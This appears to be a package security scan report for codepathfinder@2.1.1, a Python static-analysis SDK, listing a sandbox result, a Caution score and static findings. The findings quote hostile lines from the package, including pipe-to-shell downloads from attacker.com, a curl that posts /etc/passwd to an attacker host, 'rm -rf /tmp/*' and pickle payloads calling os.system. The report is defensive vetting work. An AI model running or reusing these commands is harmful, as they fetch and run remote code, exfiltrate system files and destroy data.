codepathfinder@2.1.1
CAUTION· not startedPublisher claims: "Python SDK for code-pathfinder static analysis for modern security teams" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- install scripts, with decoy credentials in place · second launch with the clock 45 days ahead · the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
SECRET_KEYConfiguration, not credentials: FLASK_DEBUG, FLASK_ENV, VAR- Where it talks to
- no vendor host named in the codeAlso mitre.org, owasp.org, vulnerable-app.com, palletsprojects.com — not the publisher's domain; check what for before connecting.
- What we saw when it ran
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names mitre.org, owasp.org, vulnerable-app.com, palletsprojects.com as well as its own vendor. The guard injects SECRET_KEY only into requests to the host you bind (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (3 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-19 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: OS command execution function call detected; OS command execution function call detected; OS command execution function call detected. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 1 s · 3 scenarios · 0 deviationsStatic findings
4. Execute: __import__('os').system('wget attacker.com/backdoor.py')Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.os.system('curl attacker.com/shell.sh | bash') # Reverse shellFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."The os standard library module. os.system() and os.popen() always invoke a shell "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.os.system('cat /etc/passwd') # Read system filesFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.return (os.system, ('rm -rf /tmp/*',))Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.return (os.system, ('curl attacker.com/backdoor.sh | bash',))Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."evaluator for literals only. The builtins eval() and exec() execute arbitrary Python "Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.cmd = 'curl attacker.com/shell.sh | bash'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.os.system('cat /etc/passwd') # Read system filesFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# Execute: curl attacker.com/shell | bashFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.4. Execute: __import__('os').system('wget attacker.com/backdoor.py')Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."signature": "os.system(command: str) -> int",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.result = subprocess.run([str(binary)] + sys.argv[1:])Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."code — RCE sinks on user input. compile() produces code objects that reach exec()."Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.exec(line, version)Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.os.system('curl attacker.com/shell.sh | bash') # Reverse shellFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."The main sinks are eval() and evalsha() which run Lua scripts — injection-sensitive "Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own."signature": "exec(object, globals=None, locals=None) -> None",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own."description": "Safely evaluates Python literals (str, int, list, dict, tuple, bool, None). Sanitizer replacement for eval().",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.cmd = 'curl -X POST --data @/etc/passwd attacker.com/collect'Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."signature": "eval(expression, globals=None, locals=None) -> Any",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own."signature": "os.popen(command: str, mode: str = 'r') -> IO",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."signature": "subprocess.run(args, *, shell=False, capture_output=False, ...) -> CompletedProcess",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.if chown is not None:Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts."signature": "subprocess.call(args, *, shell=False, ...) -> int",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."signature": "subprocess.check_output(args, *, shell=False, ...) -> bytes",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.params["chown"] = chownFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.os.system('curl attacker.com/shell.sh | bash') # Reverse shellFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.cmd = 'curl attacker.com/shell.sh | bash'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.f"Fix with: chmod +x {bundled}"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts."signature": "subprocess.Popen(args, *, shell=False, ...) -> Popen",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.f"Fix with: chmod +x {path}"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.return (os.system, ('curl attacker.com/backdoor.sh | bash',))Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.# Execute: curl attacker.com/shell | bashFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for codepathfinder@2.1.1 as of 2 h ago. This is the package itself, not its dependencies.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Unclaimed publisher≈ +8 on the totalClaim shivasurya: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Command or code execution reached through reflection or a computed import≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.